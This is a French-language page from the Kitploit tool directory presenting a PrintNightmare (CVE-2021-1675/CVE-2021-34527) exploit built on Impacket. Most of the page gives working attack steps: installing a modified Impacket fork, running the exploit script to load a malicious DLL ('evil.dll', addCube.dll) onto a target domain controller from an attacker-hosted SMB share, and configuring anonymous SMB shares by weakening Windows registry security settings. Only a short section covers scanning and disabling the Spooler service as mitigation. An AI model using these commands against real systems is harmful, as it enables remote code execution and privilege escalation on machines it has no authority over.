Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-1675 — Implémentation en C# et Impacket de PrintNightmare CVE-2021-1675/CVE-2021-34527 | Kitploit
Outils/GitHubGitHub/ccordeiro/cve-2021-1675
Escalade de PrivilègesGénération de PayloadsAnalyse des VulnérabilitésExploitationMouvement LatéralTests d'Intrusion
GitHubccordeiro/cve-2021-1675

CVE-2021-1675

Implémentation en C# et Impacket de PrintNightmare CVE-2021-1675/CVE-2021-34527

Voir le dépôt
1il y a 9 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2021-1675 / CVE-2021-34527

Implémentation Impacket du PrintNightmare PoC créé à l'origine par Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370)

Testé sur un contrôleur de domaine 2019 entièrement corrigé

Exécutez des DLL malveillantes à distance ou localement

Mise à jour du correctif

Microsoft a publié un correctif pour atténuer ces attaques, mais si les valeurs ci-dessous sont présentes sur une machine, celle-ci reste vulnérable

root@kitploit:~
REG QUERY "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint"

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint
    RestrictDriverInstallationToAdministrators    REG_DWORD    0x0
    NoWarningNoElevationOnInstall    REG_DWORD    0x1

Installation

Avant d'exécuter l'exploit, vous devez installer ma version d'Impacket ; ensuite, vous êtes paré.

root@kitploit:~
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install

CVE-2021-1675.py

root@kitploit:~
usage: CVE-2021-1675.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share

CVE-2021-1675 implementation.

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>
  share                 Path to DLL. Example '\\10.10.10.10\share\evil.dll'

optional arguments:
  -h, --help            show this help message and exit

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH

connection:
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name
                        and you cannot resolve it
  -port [destination port]
                        Destination port to connect to SMB Server

Example;
./CVE-2021-1675.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-1675.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'

Configuration SMB

Le plus simple pour héberger des charges utiles est d'utiliser samba et de modifier /etc/samba/smb.conf pour autoriser l'accès anonyme

root@kitploit:~
[global]
    map to guest = Bad User
    server role = standalone server
    usershare allow guests = yes
    idmap config * : backend = tdb
    smb ports = 445

[smb]
    comment = Samba
    path = /tmp/
    guest ok = yes
    read only = no
    browsable = yes
    force user = smbuser

Depuis Windows, c'est également possible

root@kitploit:~
mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Reboot

Analyse

Nous pouvons utiliser rpcdump.py d'impacket pour analyser les hôtes potentiellement vulnérables ; s'il renvoie une valeur, l'hôte pourrait être vulnérable

root@kitploit:~
rpcdump.py @192.168.1.10 | egrep 'MS-RPRN|MS-PAR'

Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol 
Protocol: [MS-RPRN]: Print System Remote Protocol

Atténuation

Désactiver le service Spooler

root@kitploit:~
Stop-Service Spooler
REG ADD  "HKLM\SYSTEM\CurrentControlSet\Services\Spooler"  /v "Start" /t REG_DWORD /d "4" /f
Télécharger l’outil